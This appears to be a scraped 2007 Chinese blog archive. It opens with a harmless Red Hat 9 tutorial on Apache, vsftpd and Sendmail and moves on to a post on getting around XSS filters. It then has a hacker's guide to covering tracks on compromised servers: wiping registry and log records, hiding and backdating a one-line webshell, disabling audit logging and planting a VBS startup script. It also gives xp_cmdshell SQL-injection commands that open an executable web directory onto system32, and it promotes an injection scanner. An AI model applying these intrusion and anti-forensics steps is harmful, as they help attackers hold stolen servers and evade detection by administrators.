  Apache会定期检查有多少个HTTP守护进程正在等待连接请求,如果空闲的HTTP守护进程多于MaxSpareServers参数指定的值,则Apache会终止某些空闲进程;如果空闲HTTP守护进程少于MinSpareServers参数指定的值,则Apache会产生新的HTTP 守护进程。本例将最高空闲守护进程设置为20个,将最低的空闲守护进程设置为5个:
  MaxSpareServers 20
  MinSpareServers 5
  当然这只是Apache的一些基本设置项,大家可以根据自己的实际情况加以灵活的修改,以充分发挥Apache的潜能。如果修改配置文件之后没能立即生效,可以重启Apache服务。
  注意:修改之前一定要先备份!
  3.图形化配置界面
  图形化配置直观、简单,足够应付Apache服务器的日常管理维护工作。我们可以通过单击"主菜单→系统设置→服务器设置→HTTP服务器" 菜单项,或者直接在"运行命令"对话框里输入"apacheconf"命令并回车,来访问"Apache配置"对话框。可以看到该配置对话框共有4个标签页。
  (1)"主"标签页
  在"服务器名"框中可以输入服务器的名称,等同于httpd.conf文件里的"ServerName"字段。"网主电子邮件地址"框中可以输入管理员的邮件地址,等同于httpd.conf文件里的"ServerAdmin"字段。单击"可用地址"选项组中的"添加"(或者"编辑")按钮,我们可以添加或者修改服务器的IP地址和端口。
  (2)"虚拟主机"标签页
  所谓的虚拟主机服务就是指将一台计算机虚拟成多台Web服务器。利用Apache服务器提供的"虚拟主机"服务,我们可以利用一台计算机提供多个Web服务。
  用Apache设置虚拟主机服务通常可以采用两种方案:基于IP地址的虚拟主机和基于名字的虚拟主机。基于IP地址的虚拟主机的实现方法有一个严重的不足,每增加一个虚拟主机,就必须增加一个IP地址。所以这里介绍如何创建基于名字的虚拟主机。
  假设一台Apache服务器的IP地址是210.79.81.212,主机名称为www.companyname.net,同时它拥有两个别名:sales.companyname.net、marketing.companyname.net。虽然这3个网站的IP地址相同,都指向 210.79.81.212,但是由于架设了基于名字的虚拟主机,所以可以指向不同的网页。
  设置时,请单击"虚拟主机"标签页上的"添加"按钮,在打开的配置对话框的"主机信息"下拉列表框里选中"基于名称的虚拟主机"选项,然后输入合适的数据IP地址、主机名称等,记住,还要添加合适的别名,如图2所示。

  "Apache配置"对话框的其他两个标签页的设置内容基本等同于前面所介绍的httpd.conf参数配置,这里就不再介绍了。
——————————————————————————–
三、架设FTP服务器
  FTP,即File Transfer Protocol,文件传输协议。它是目前Internet上最流行的数据传送方法之一。利用FTP 协议,我们可以在FTP服务器和FTP客户端之间进行双向数据传输,既可以把数据从FTP服务器上下载到本地客户端,又可以从客户端上传数据到远程FTP 服务器。
  1.安装vsftpd服务器
  vsftpd是目前Linux最好的FTP服务器工具之一,其中的vs就是"Very Secure"(很安全)的缩写,可见它的最大优点就是安全,除此之外,它还具有体积小,可定制强,效率高的优点。
  如果选择完全安装Red Hat Linux 9.0,则系统会默认安装vsftpd服务器。我们可以在终端命令窗口输入以下命令进行验证:
  [root@ahpeng root] rpm -qa | grep vsftpd
  如果结果显示为"vsftpd-1.1.3-8",则说明系统已经安装vsftpd服务器。如果安装Red Hat Linux 9.0时没有选择vsftpd服务器,则可以在图形环境下单击"主菜单→系统设置→添加删除应用程序"菜单项,在出现的"软件包管理"对话框里确保选中"FTP服务器"选项,然后单击"更新"按钮,按照屏幕提示插入第3张安装光盘即可开始安装。
  另外,你也可以直接插入第3张安装光盘,定位到/RedHat/RPMS下的vsftpd-1.1.3-8.i386.rpm安装包,然后在终端命令窗口运行以下命令即可开始安装进程:
  [root@ahpeng RPMS] rpm -ivh vsftpd-1.1.3-8.i386.rpm
  2.启动/重新启动/停止vsftpd服务
  从Red Hat Linux 9.0开始,vsftpd默认只采用standalone方式启动vsftpd服务,方法是在终端命令窗口运行以下命令:
  [root@ahpeng root] /etc/rc.d/init.d/vsftpd start
  重新启动vsftpd服务:
  [root@ahpeng root] /etc/rc.d/init.d/ vsftpd restart
  关闭vsftpd服务:
  [root@ahpeng root] /etc/rc.d/init.d/ vsftpd stop
  确认vsftpd服务已经启动后,我们可以在任意一台Windows主机的DOS命令窗口里输入"ftp FTPAddres"(用实际的 FTP服务器IP地址或者域名代替FTPAddres),注意用户名、密码都是ftp(ftp是匿名用户的映射用户账号),如下所述:
  Microsoft Windows XP [版本 5.1.2600]
  (C) 版权所有 1985-2001 Microsoft Corp.
  F:Peter>ftp FTPAddress
  Connected to FTPAddress
  220 (vsFTPd 1.1.3)   //vsftpd的响应请求
  User (FTPAddress:(none)): ftp  //输入用户账号ftp
  331 Please specify the password.
  Password:  //输入密码ftp
  230 Login successful. Have fun.
  ftp>
  3.vsftpd的配置
  在Red Hat Linux 9.0里的vsftpd共有3个配置文件,它们分别是:
  vsftpd.ftpusers:位于/etc目录下。它指定了哪些用户账户不能访问FTP服务器,例如root等。
  vsftpd.user_list:位于/etc目录下。该文件里的用户账户在默认情况下也不能访问FTP服务器,仅当vsftpd .conf配置文件里启用userlist_enable=NO选项时才允许访问。
  vsftpd.conf:位于/etc/vsftpd目录下。它是一个文本文件,我们可以用Kate、Vi等文本编辑工具对它进行修改,以此来自定义用户登录控制、用户权限控制、超时设置、服务器功能选项、服务器性能选项、服务器响应消息等FTP服务器的配置。
  (1)用户登录控制
  anonymous_enable=YES,允许匿名用户登录。
  no_anon_password=YES,匿名用户登录时不需要输入密码。
  local_enable=YES,允许本地用户登录。
  deny_email_enable=YES,可以创建一个文件保存某些匿名电子邮件的黑名单,以防止这些人使用Dos攻击。
  banned_email_file=/etc/vsftpd.banned_emails,当启用deny_email_enable功能时,所需的电子邮件黑名单保存路径(默认为/etc/vsftpd.banned_emails)。
  (2)用户权限控制
  write_enable=YES,开启全局上传权限。
  local_umask=022,本地用户的上传文件的umask设为022(系统默认是077,一般都可以改为022)。
  anon_upload_enable=YES,允许匿名用户具有上传权限,很明显,必须启用write_enable=YES,才可以使用此项。同时我们还必须建立一个允许ftp用户可以读写的目录(前面说过,ftp是匿名用户的映射用户账号)。
  anon_mkdir_write_enable=YES,允许匿名用户有创建目录的权利。
  chown_uploads=YES,启用此项,匿名上传文件的属主用户将改为别的用户账户,注意,这里建议不要指定root账号为匿名上传文件的属主用户!
  chown_username=whoever,当启用chown_uploads=YES时,所指定的属主用户账号,此处的whoever自然要用合适的用户账号来代替。
  chroot_list_enable=YES,可以用一个列表限定哪些本地用户只能在自己目录下活动,如果chroot_local_user=YES,那么这个列表里指定的用户是不受限制的。
  chroot_list_file=/etc/vsftpd.chroot_list,如果chroot_local_user=YES,则指定该列表(chroot_local_user)的保存路径(默认是/etc/vsftpd.chroot_list)。
  nopriv_user=ftpsecure,指定一个安全用户账号,让FTP服务器用作完全隔离和没有特权的独立用户。这是vsftpd系统推荐选项。
  async_abor_enable=YES,强烈建议不要启用该选项,否则将可能导致出错!
  ascii_upload_enable=YES;ascii_download_enable=YES,默认情况下服务器会假装接受ASCⅡ模式请求但实际上是忽略这样的请求,启用上述的两个选项可以让服务器真正实现ASCⅡ模式的传输。
  注意:启用ascii_download_enable选项会让恶意远程用户们在ASCⅡ模式下用"SIZE/big/file"这样的指令大量消耗FTP服务器的I/O资源。
  这些ASCⅡ模式的设置选项分成上传和下载两个,这样我们就可以允许ASCⅡ模式的上传(可以防止上传脚本等恶意文件而导致崩溃),而不会遭受拒绝服务攻击的危险。
  (3)用户连接和超时选项
  idle_session_timeout=600,可以设定默认的空闲超时时间,用户超过这段时间不动作将被服务器踢出。
  data_connection_timeout=120,设定默认的数据连接超时时间。
  (4)服务器日志和欢迎信息
  dirmessage_enable=YES,允许为目录配置显示信息,显示每个目录下面的message_file文件的内容。
  ftpd_banner=Welcome to blah FTP service,可以自定义FTP用户登录到服务器所看到的欢迎信息。
  xferlog_enable=YES,启用记录上传/下载活动日志功能。
  xferlog_file=/var/log/vsftpd.log,可以自定义日志文件的保存路径和文件名,默认是/var/log/vsftpd.log。
——————————————————————————–
四、架设邮件服务器
  邮件服务器是一个网站所必须的服务,在这里我们可以通过Red Hat Linux 9.0自带的Sendmail来架设邮局服务器。
  1.安装Sendmail
  如果是完全安装Red Hat Linux 9.0,那么系统已经内置有Sendmail 8.12.8-4服务器。如果不能确定是否已经安装sendmail,可以在终端命令窗口输入如下命令:
  [root@ahpeng root] rpm -qa | grep sendmail
  如果结果显示为"sendmail-8.12.8-4",则说明系统已经安装sendmail服务器。如果安装 Red Hat Linux 9.0时没有选择Sendmail服务器,则可以在图形环境下单击"主菜单→系统设置→添加删除应用程序"菜单项,在打开的 "软件包管理"对话框中确保选中"邮件服务器"选项,然后单击"更新"按钮,按照屏幕提示插入第一张安装光盘即可开始安装。
  另外,你也可以直接插入第1张安装光盘,定位到/RedHat/RPMS目录下的sendmail-8.12.8-4.i386.rpm安装包,然后在终端命令窗口运行以下命令即可开始安装进程:
  [root@ahpeng RPMS] # rpm -ivh sendmail-8.12.8-4.i386.rpm
  用类似的方法安装sendmail-cf.8.12.8-4.i386.rpm、sendmail-doc. 8.12.8-4.i386.rpm,位于第3张安装光盘的/RedHat/RPMS目录下。
  2.启动/重新启动/停止Sendmail服务
  安装Sendmail服务器以后,最简单的启动方式是在终端命令窗口运行如下命令:
  [root@ahpeng root]/etc/rc.d/init.d/sendmail start
  应该会出现以下的结果,表明邮件服务器已经启动成功:
  启动 sendmail: [确定]
  启动 sm-client:[确定]
  除以上方式,我们还可以使用带参数的Sendmail命令控制邮件服务器的运行,例如:
  [root@ahpeng root]# sendmail -bd -q1h
  Sendmail的命令参数的含义如下:
  -b:指定Sendmail在后台运行,并且监听端口25的请求。
  -d:指定Sendmail以Daemon方式运行(守护进程)。
  -q:当Sendmail无法将邮件成功地发送到目的地时,它会将邮件保存在队列里。该参数指定邮件在队列里保存的时间。例子里的1h表示保留1小时。
  在终端命令窗口运行以下命令来重新启动Sendmail服务:
  [root@ahpeng root]#/etc/rc.d/init.d/sendmail restart
  在终端命令窗口运行以下命令来关闭Sendmail服务:
  [root@ahpeng root]#/etc/rc.d/init.d/sendmail stop
  我们还可以在终端命令窗口运行以下命令来检测Sendmail服务器的运行状态:
  [root@ahpeng root]# /etc/rc.d/init.d/sendmail status
  系统应该显示:
  sendmail (pid 3251) 正在运行…
  3.配置Sendmail
  Sendmail的配置十分复杂。它的配置文件是sendmail.cf,位于/etc/mail目录下。由于sendmail.cf的语法深奥难懂,很少有人会直接去修改该文件来对Sendmail服务器进行配置。我们一般通过m4宏处理程序来生成所需的sendmail.cf文件。创建的过程中还需要一个模板文件,系统默认在/etc/mail目录下有一个sendmail.mc模板文件。
  我们可以根据简单、直观的sendmail.mc模板来生成sendmail.cf文件,而无需直接编辑sendmail.cf文件。可以直接通过修改sendmail.mc模板来达到定制sendmail.cf文件的目的。这里介绍创建sendmail.cf文件的步骤:
  (1)备份原有sendmail.cf文件
  在终端命令窗口运行以下命令:
  cp /etc/mial/sendmail.cf /etc/mail/sendmail.cf.BAK
  (2)生成sendmail.cf文件
  根据sendmail.mc模板文件产生sendmail.cf配置文件,并导出到/etc/mail/目录下:
  m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
  (3)重启sendmail服务
  [root@ahpeng root] /etc/rc.d/init.d/sendmail restart
  很显然,用m4宏编译工具创建sendmail.cf文件比较方便,而且不容易出错,更可以避免某些带有安全漏洞或者过时的宏所造成的破坏。一个sendmail.mc模板的大致内容如下:
  divert(-1)dnl
  ……
  include('/usr/share/sendmail-cf/m4/cf.m4')dnl
  VERSIONID('setup for Red Hat Linux')dnl
  OSTYPE('linux')dnl
  ……
  dnl #
  dnl define('SMART_HOST','smtp.your.provider')
  dnl #
  define('confDEF_USER_ID',''8:12'')dnl
  define('confTRUSTED_USER', 'smmsp')dnl
  dnl define(′confAUTO_REBUILD′)dnl
  ……
  这里介绍sendmail.mc模板的语法组成:
  dnl:用来注释各项,同时dnl命令还用来标识一个命令的结束。
  divert(-1):位于mc模板文件的顶部,目的是让m4程序输出时更加精简一些。
  OSTYPE ('OperationSystemType'):定义使用的操作系统类型,显然这里应该用linux代替OperationSystemType,注意要用一个反引号和一个正引号把对应的操作系统类型括起来。
  define:定义一些全局设置,对于Linux系统,设置了OSTYPE之后,可以定义下面的一些全局参数,如果不定义,就使用默认值。这里举两个简单例子:define('ALIAS_FILE','/etc/aliases')
  定义别名文件(alia file)的保存路径,默认是/etc/aliases
  define('STATUS_FILE', '/etc/mail/statistics')
  sendmail的状态信息文件。
  以上只是sendmai.mc的一些简单的语法解释,更多的参数含义及其配置信息可以参见http://www.sendmail.org/m4/tweaking_config.html。
  4.为新用户开电子邮件账号
  在Linux里为新用户开设电子邮件账户比较简单,只需在Linux系统里新增一个用户即可。单击"主菜单→系统设置→用户和组群"菜单项,打开"Red Hat用户管理器"对话框,单击"添加用户"按钮,在出现的"创建新用户"对话框里指定用户名、登录口令即可,如图3所示。

  假设我们添加了一个用户Peter(密码为peter),这样该用户就有了一个邮件地址Peter@YourDomain.com(此处的YourDomain.com用你自己域名代替)。
  以上过程也可以在终端命令窗口运行以下命令来实现:
  [root@ahpeng root]#adduser peter -p peter
  5.为电子邮件账户设置别名
  有一些用户想使用多个电子邮件地址,是不是需要创建多个邮件账号呢?我们可以使用别名(alias)来解决这个问题。
  比如说,用户peter想拥有以下3个电子邮件地址:
  peter@YourDomain.com、dearpeter@ YourDomain.com、truepeter@ YourDomain.com。
  我们可以通过以下步骤来实现这样的别名设置:
  新增一个账号peter;然后用vi、或者Kate等文本编辑器打开/etc/aliases,在里面加上两行:
  dearpeter: peter
  truepeter: peter
  保存该/etc/aliases退出。
  不过,就这样还不能让Sendmail接受新增的别名,我们必须在终端命令窗口运行newaliases命令,以要求Sendmail重新读取/etc/aliases文件。如果一切无误,应该可以看到类似以下的回应消息:
  [root@ahpeng root]# newaliases
  /etc/aliases: 63 aliases, longest 10 bytes, 625 bytes total
  这样,发给peter的邮件可以使用3个邮件地址,而peter只需要使用一个电子邮件账号peter@YourDomain.com就可以接收所有寄给以上3个地址的电子邮件。
  6.指定邮箱容量限制
  当一个邮件服务器为许多人提供邮件服务时,无限量的电子邮件将很容易塞满服务器的硬盘,造成硬盘负担。如果不想为用户提供无限空间的邮件暂存空间,可以使用"邮件限额"来给用户一个有限的暂存空间。

十一月 15th, 2007

Posted In: 未分类

网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路。
还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:

恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!
1 什么是HTml输入?

这里给出一个HTml代码的示例

很多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src 是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括很多元素的,并不是传统意义上的只有输入<>才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要<>的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是么?

2 哪里才是罪恶的来源?

既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入HTml代码吧!如果用户可以不受限制的引入<>,那么很显然他可以完全操纵一个Html标记,譬如这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是<>,通过如下代码:

过滤代码:
replace(str,"<","&#x3C;") replace(str,">","&#x3E;")
好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:

因为很多的Html标记里属性都支持javascript:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:

过滤代码
Dim re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern="javascript:"
Str = re.replace(Str,"javascript:")
re.Pattern="jscript:"
Str = re.replace(Str,"jscript:")
re.Pattern="vbscript:"
Str = re.replace(Str,"vbscript:")
set re=nothing

你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持&#ASCii这种形式表示的,譬如上面的代码可以换成这样:

代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!

replace(str,"&","&#x26;")

行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:

没有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦!依然是可以执行Html代码的,首先说说事件机制吧:

这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢?
当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:

呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成&nbsp;是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:

嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!
上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间内活动,这通过上面的分析大家也可能已经知道,只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到""之间,现在的一般的程序都是这样做的,譬如将会转化成这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过滤用户输入里""实现,但是不要忘记了,这个标签本身也是不安全的,过滤掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤掉script关键字,最后就是防止用户通过&#这样的形式饶过检查,转换掉&吧!
在文章中开始提到的图里可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃html标签,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵呵。本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴!

十一月 12th, 2007

Posted In: 未分类

渗透的服务器也多了,起初都是给肉鸡装上鸽子啊,PCSHARE什么的,以为这样就OK了,但是往往到了第二天就不翼而飞,我起初很纳闷,我的后门都是免X的,管理员是怎么样发现我的踪迹的呢?后来慢慢积累了些心得,现发出来跟大家分享一下。

首先,上服务器的第一件事,就是看下文档记录.

看下这里都有什么,心中有个数,一会新打开东西要记得在这里删了。有些服务器Run,是空白的,不要在这里输入任何东西,例如CMD等,如果不小心输入了,那么请在任务栏-右键-属性-高级-清除,

有些朋友可能会说,直接开始-附件-CMD,不就可以么?不行,因为他常期不用的程序都隐藏了,进C盘,按下W回车,再按T,往上找就是SYSTEM32,找到CMD点了就行了。

当需要翻对方服务器上的文挡时,怎么样翻才是最保险呢?例如你要打开他的C盘,尽量使用CMD打开,start c:,回车,这样C盘就打开咯,要使用记事本的话,不要用右键新建文本文档,在CMD下输入notepad,这样就不会有记录产生。不要以为管理员很菜,就不当做回事,毕竟你是非法的,人家是合法的。养成习惯,终身受益,

在连接SQL的时候,尽量用企业管理器进行连接,不要用查询分析器,不然会留下一个IP记录和SQLUSERNAME的记录,在某些特殊的情况下必须用查询分析器的话,好,用完了记得到注册表[HKEY_CURRENT_USERSoftwareMicrosoftMicrosoft SQL Server80ToolsClientPrefServers]下删记录。

把server0和user0子键删除即可,顺便说一下,打开regedit的时候,请记住原来是停留在哪个键值上,看完记得恢复原样。还有TS登陆记录,这个也是需要注意的,请到
[HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault]进行删除,

找对应的删了就是。

还有个地方也会留下你运行某些程序,文本等 记录,C:Documents and SettingsAdministratorRecent 记得,看下管理员常用的文件,多出来的那就是你自己运行的,闪人的时候记得删.尽量使用CMD运行程序撒,GUI界面的程序也是可以在CMD运行的,直接把要运行的程序图标拖到CMD里,回车,即可,这里我用IIS信息服务做为示例.

要用管理工具里的东西最好是点 我的电脑-右键-管理,也可直接到控制面版那里点。总之呢,就是不要留下任何痕迹,就象没人动过一样。最重要的一点,不要留后门,除了WEBSHELL,什么后门也不要留,留后门等于告诉管理员:“恭喜你已经中了我的马“。WEBSHELL,尽量用一句话海阳,WIN2000用海阳2006正式版,WIN2003用2006+版,为什么WIN2000不能用06+的一句话呢,因为06+功能比较多,比较肥大,WIN2000系统有个特性,提交的ASP文件大小超过100K,就会出错,所以…..
还有一点,WEBSHELL都要进行无日志处理,

Closed.asp这个文件是插了一句话海阳的,当你访问它的时候IIS就会记录下来,把记录访问的勾去掉即可。光这样子还不够完善,还需要修改文件的创建时间,仅仅把文件修改时间改了只能对付一般的菜鸟管理员,精明的管理员会直接搜索创建时间,要是发现某个文件,修改时间是2004年X月X日,但是创建时间却是昨天,他会怎么想列?所以呢,插一句话之前,先看看他的创建时间和修改时间是多少,记下,再把系统时间改为和创建时间一致,再进行插马,弄完了再改回来。

关于搜索, 我还要多说几句了,聪明的管理员会在开始-搜索那里搜索他觉得可疑的东西, 例如用“什么时候修改的”来搜索某个可疑时间段创建了什么文件,以及在搜索那里看有没有上次是否有人用搜索来查找了某些文件,所以这里的记录也一定要记得清除。方法是在搜索完你需要的东西后,再将搜索选项清空,再点搜索,这样管理员就无法看到你上次搜索过的文件了。

还有一点,就是登陆系统审核的日志,这个貌似不能按条清。不过你登陆后可以在本地安全策略那里设置不记录。还有没事别乱加帐号,就算加了用完要删掉,别忘了,C:Documents and Settings对应的用户名 也要DEL咯,至于怎么删自己想办法。这里,提供两个办法删,第一,先与目标机建立好IPC连接,然后把号删了,再利用IPC把那个文件夹干掉,再把IPC连接删除,完事(适合内网)。第二,写一个VBS脚本,代码如下:
On Error Resume Next
set shell=createobject("wscript.shell")
shell.run "自己打删除命令"
保存为del.vbs,丢到启动目录,管理员登陆的时候就会自动删除该文件夹。下载东西,尽量别用IE下载,正确的做法是:打开CMD,open ip 输入你的ftp帐户和密码,再get,用VBS脚本下载也可,看你自己了。最好是先下个Aio 或者Mt,再用上面的下载功能来下东西。

下机前,必须把IE的历史记录(你要是用IE下了东西或者开了网页的话),internet临时文件删除了.
做到这些,对付一般点的管理员是绰绰有余了,自己多注意点,肉鸡留得长点,总找肉鸡也累吧,注销,在CMD下输入logoff ,咱回头见吧:)

十一月 2nd, 2007

Posted In: 未分类

我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:

exec master.dbo.xp_cmdshell ’cscript C:InterpubAdminScriptsmkwebdir.vbs -c localhost -w "l" -v "win","c:winntsystem32"’
建立虚拟目录win,指向c:winntsystem32
exec master.dbo.xp_cmdshell ’cscript C:InterpubAdminScriptsadsutil.vbs w3svc/1/root/win/Accessexecute Ture’
让win句有解析asp脚本权限

exec master.dbo.xp_cmdshell "cscript C:InterpubAdminScriptsadsutil.vbs delete w3svc/1/root/h4x0r/"
删除虚拟目录。
找不到web绝对路径的一种解决办法,

http://21o.net/h4x0r
403错误,表示虚拟目录建好了。

十一月 2nd, 2007

Posted In: 未分类


PHP+MYSQL网站注入扫描工具,针对类似夜猫文章下载系统比较有效,界面是仿教程的hdsi中的PHP注入模块写的,实现原理是参考angel的SQL Injection with MYSQL写的,网上有很多,不再细说。

25号上传的php+mysql注入工具有点问题,修正了以下Bug,26日更新如下内容:
1。扫描网站表段最大字段数由30改为50。
2。猜解列名和猜解后台管理路径的停止按钮不起作用,现已修正。点击下载此文件

十一月 1st, 2007

Posted In: 未分类

无觅相关文章插件,快速提升流量